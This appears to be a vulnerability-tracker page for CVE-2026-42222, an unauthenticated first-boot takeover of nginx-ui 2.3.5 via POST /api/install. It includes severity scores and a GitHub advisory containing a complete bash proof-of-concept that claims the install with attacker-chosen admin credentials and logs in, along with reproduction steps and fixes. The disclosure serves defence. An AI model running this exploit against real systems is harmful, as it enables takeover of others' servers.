CVE-2026-42222

criticalpriority · track · 39OT risk · elevatedEPSS 0.003 · 27 %ileDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.34% (27th) EPSS
CVSS 9.8 · critical
Is it mine?
6 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

Nginx UI is a web user interface for the Nginx web server. In version 2.3.5, an unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install. At time of publication no public patches are available.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 3.9 · impact 5.9
v3.18.1highAV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.18.1highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.18.1highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 2.2 · impact 5.9
v3.18.1highCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.19criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (6)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1276nginx-ui: Mehrere SchwachstellenDeutsch2026-04-26csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in nginx-ui ausnutzen, um beliebigen Code mit Root-Rechten auszuführen, sich Administratorrechte zu verschaffen und die vollständige Kontrolle über das System zu erlangen oder vertrauliche Informationen offenzulegen.

  • GHSA-mxqh-q9h6-v8pqNginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover2026-05-06ghsa · osvUS

    ## Summary An unauthenticated bootstrap takeover exists in `nginx-ui` during the initial installation window exposed by `POST /api/install`. When the instance is still uninitialized, `POST /api/install` is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator. This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows. The primary attack path is direct network access to a reachable fresh instance.[^cors] This was reproduced over HTTP against live local instances started from `nginx-ui` `v2.3.5` using Docker image `uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a` (`org.opencontainers.image.version=2.3.5`, revision `1a9cd29a308278173aa0f16234cb78061dd2bd42`). ## Impact This issue allows full unauthenticated takeover of a fresh `nginx-ui` instance during the initial installation window. The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves. In live testing, the attacker was able to: - confirm that the target was still uninitialized - submit attacker-chosen bootstrap credentials - lock the installation under attacker control - immediately authenticate as the newly set administrator Observed values during live reproduction included: ```text INSTALL_BEFORE={"lock":false,"timeout":false} INSTALL_POST={"message":"ok"} INSTALL_AFTER={"lock":true,"timeout":false} LOGIN_RESPONSE={"message":"ok","code":200,...,"short_token":"qIJAE3dQMm3afhaV"} ``` Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves. ## PoC The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only `bash`, `curl`, and `openssl`. Standalone PoC: ```bash #!/usr/bin/env bash set -euo pipefail base_url="http://127.0.0.1:9000" email="poc2@nginxui.test" username="pocverify2" password="Passw0rd123" tmpdir="$(mktemp -d)" trap 'rm -rf "$tmpdir"' EXIT install_before="$(curl -fsS "${base_url}/api/install")" printf 'INSTALL_BEFORE=%s\n' "$install_before" key_json="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \ "${base_url}/api/crypto/public_key")" key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"\(.*\)","request_id".*/\1/p')" printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem" openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1 printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json" encrypted_install="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \ | openssl base64 -A )" install_post="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encrypted_params\":\"${encrypted_install}\"}" \ "${base_url}/api/install")" printf 'INSTALL_POST=%s\n' "$install_post" install_after="$(curl -fsS "${base_url}/api/install")" printf 'INSTALL_AFTER=%s\n' "$install_after" printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json" encrypted_login="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \ | openssl base64 -A )" login_response="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encrypted_params\":\"${encrypted_login}\"}" \ "${base_url}/api/login")" printf 'LOGIN_RESPONSE=%s\n' "$login_response" ``` Observed output during live verification: ```text INSTALL_BEFORE={"lock":false,"timeout":false} INSTALL_POST={"message":"ok"} INSTALL_AFTER={"lock":true,"timeout":false} LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"} ``` ## Steps to Reproduce 1. Start a fresh local `nginx-ui` `v2.3.5` instance from the tested Docker image digest with empty `/etc/nginx` and `/etc/nginx-ui` directories. ```bash mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui docker run -d --rm --name nginx-ui-poc \ -v "$PWD/.tmp/poc-nginx:/etc/nginx" \ -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \ uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a ``` 2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with: ```bash docker exec -it nginx-ui-poc bash ``` Then set `base_url` to `http://127.0.0.1:9000` and run the standalone PoC. 3. Observe the output. Actual result: - `GET /api/install` returns `{"lock":false,"timeout":false}` - `POST /api/install` returns `{"message":"ok"}` - a follow-up `GET /api/install` returns `{"lock":true,"timeout":false}` - `POST /api/login` succeeds with the attacker-chosen username and password and returns a valid token Expected result: - arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret - `POST /api/install` should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor - attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup ## Suggested Fix 1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection. 2. Require a local-only or out-of-band bootstrap secret for `POST /api/install`, for example: - generate a one-time setup token at startup - print or store it locally on the host - require that token to complete initialization 3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths. 4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as `/api/self_check` and `/api/restore`. 5. As defense in depth, narrow CORS on setup endpoints. `POST /api/install` should not be callable cross-origin by arbitrary websites. 6. Add regression tests covering: - unauthenticated remote `POST /api/install` being rejected by default - no installation claim without a valid bootstrap secret - `/api/self_check` and `/api/restore` requiring authentication - no cross-origin installation via browser preflight and JSON POST [^cors]: In live testing, `OPTIONS /api/install` returned `Access-Control-Allow-Origin: *`. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.

  • GO-2026-5521Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover in github.com/0xJacky/nginx-ui2026-06-25vendor · osvUS

    Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover in github.com/0xJacky/nginx-ui

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

08

references (5)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan